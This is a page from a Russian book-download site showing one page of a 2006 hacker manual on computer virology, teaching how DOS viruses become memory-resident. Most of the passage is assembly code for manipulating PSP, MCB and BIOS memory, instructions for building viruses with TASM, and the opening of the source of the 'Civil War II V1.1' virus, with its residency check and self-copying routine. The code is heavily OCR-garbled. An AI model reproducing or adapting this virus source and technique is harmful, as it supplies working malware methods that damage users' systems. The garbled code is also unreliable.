Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 38 39 40 41 42 43 < 44 > 45 46 47 48 49 50 .. 123 >> Следующая

Код будет таким:
mov byte ptr es:[0],T mov word ptr es:[8],8
Теперь мы должны копировать вирус в память. Это делается так: мы
инкрементируем ах и возвращаем блок памяти обратно в ES; загружаем
сегмент данных (DS) значением сегмента кода (CS); очищаем индекс
назначения с поощью XOR; устанавливаем длину вируса в сх и выполняем
инструкцию "повторить перемещение байтов". Код выглядит примерно так:
150
ГЛАВА 4. Вирус - резидент памяти
inc ах
mov es.ax
push cs
pop ds
xor di.di
lea si.startOfVirus
mov cx.endOfVirus-startOfVirus
rep movsb
В этом простеньком коде используется дельта-офсет. Но вы можете применить
другую технику. Некоторые адепты Искусства манипулируют данными в PSP,
МСВ и BIOS. Взгляните на следующий код:
sub word ptr cs: [2] ,40h
mov ax.cs dec ax mov ds.ax
sub word ptr ds:[3],40h
mov ax,40h mov ds.ax
sub word ptr ds: [ 13h], 1
mov ax,word ptr ds:[13h]
shl ax,6
mov es,ax
push cs
pop ds
xor di.di
lea si,start
mov cx,end-start
rep movsb
Это компактный модуль для становления резидентом памяти. Первая часть
манипулирует верхушкой памяти PSP. Когда программа загружается для
последующего выполнения, PSP располагается перед программой - от 00 до
100h (CS).
Первоначальное вычитание 40h (1 Кб) из PSP опускает вершину памяти в PSP.
Следующая часть вам уже знакома - доступ к
151
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
МСВ и вычитание 40h (1 Кб) из размера МСВ. Быстро взгляните на офсет 3 в
карте МСВ. Далее, нам нужно изменить BIOS. Область данных в BIOS в 413h и
414h - это количество доступной базовой памяти. Ее нужно сократить на
40h, тогда мы сможем зарезервировать для нашего кода достаточно места и
гарантировать, что он не будет переписан.
В вышеуказанном коде локация 413h становится доступной с помощью сегмента
40(0]h и офсета 13h. Значение, которое вычитается из локации 413h области
данных BIOS, - это количество требуемых килобайтов (в нашем случае 1 Кб).
Подстроив BIOS, мы должны найти адрес свободного сегмента. Это делается с
помощью умножения количества базовой памяти подстроенной BIOS на 64.
Здесь можно использовать инструкцию SHL (Shift Logical Left - логический
сдвиг влево).
В семействе процессоров 8088/8086 инструкция SHL используется с
константами до 31. В вышеуказанном коде мы используем константу 6. При
работе с 8088/8086 вам нужно загрузить CL константной и применить SHL ах,
cl.
Чтобы продемонстрировать технику манипуляций с МСВ, мы рассмотрим вирус
Civil War IIV1.1, написанный Dark Helmet. В этом вирусе не имеется
подпрограммы разрушения, хотя лживые авиры изображают его чуть ли не
смертельно опасным. Возможно, вас удивит применение обработчика int 24h.
Это обработчик критических ошибок.
Перехватывая прерывание 24h, вы получаете сообщения о критических ошибках
до того, как они появятся на экране. Такой прием позволяет избегать
обнаружения. Вирусы Fact и Civil War II можно компилировать с помощью
TASM. Применяйте следующие команды:
A:\tasm civilwar(or Fact).asm
и
A:\tlink Д civilwar(or Fact).obj
Как видите, я ссылаюсь на диск А: (дискету). Вам лучше перейти в окно
DOS. Проведите эксперимент, который мы выполняли с вирусом Fact.
Поместите вирус и наш тестовый СОМ-файл •"FLY" в одну директорию.
Проверьте размер программы FLY до и
152
ГЛАВА 4. Вирус - резидент памяти
после выполнения программы, а также до и после того, как вирус станет
резидентом.
Совет: всегда проверяйте код на вложенные подпрограммы разрушения. Вирусы
могут наносить вред разными способами, но наиболее общим является
использование функций 03h, 05h, 09h прерывания 13h. Если вы видите в коде
int 13h, значит, здесь заложена бомба.
Вирус Civil War IIV1.1 - создан Dark Helmet
.Radix 16 Civil_War Segment Model small Assume cs:Civil_War,
ds:Civil_War, es:Civil_War
org I00h
len equ offset last • begin virus Jen equ len / 16d
dummy: db 0e9h, 03h, OOh, 44h, 48h, OOh ;маркер
; прыжок + инфекция
begin: Call virus '.производим вызов, чтобы втолкнуть
;IP в стек
virus: pop bp ;получаем IP из стека
sub bp,109h ;подстраиваем IP restore Jiost:
mov di,0100h восстанавливаем начало lea si,ds:[carrier_begin+bp]
;программы-носительницы mov cx,06h rep movsb check_resident:
mov ah.OaOh проверяем, был ли вирус уже
int 21 h -.инсталлирован
153
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
cmp ах,0001h je end_virus adjust.memory:
mov ax.cs ;начало блока управления
dec ax .памятью
mov ds.ax
cmp byte ptr ds: [0000] ,5a ;проееряем, не последний ли блок jne abort
;если не последний, то конец mov ах,ds: [0003] ;уменьшаем длину памяти
на
sub ах,40 ;1 килобайт
mov ds:[0003],ax sub word ptr ds:[0012],40h
install_virus:
mov bx.ax ;es указывает на начало
mov ax.es ; вируса в памяти
add ах.Ьх
mov es.ax
mov cx.len ;сх =длина вируса
mov ax.ds ;восстанавливаемds
Inc ах
mov ds.ax
lea si,ds:[begin+bp] ;указываем на начало вируса
lea di,es:0100 ;указываем на локацию памяти, в
rep movsb ;которую будет копировать вирус
mov [virus_segment+bp] ,es ;сомраняем начало вируса в памяти
Предыдущая << 1 .. 38 39 40 41 42 43 < 44 > 45 46 47 48 49 50 .. 123 >> Следующая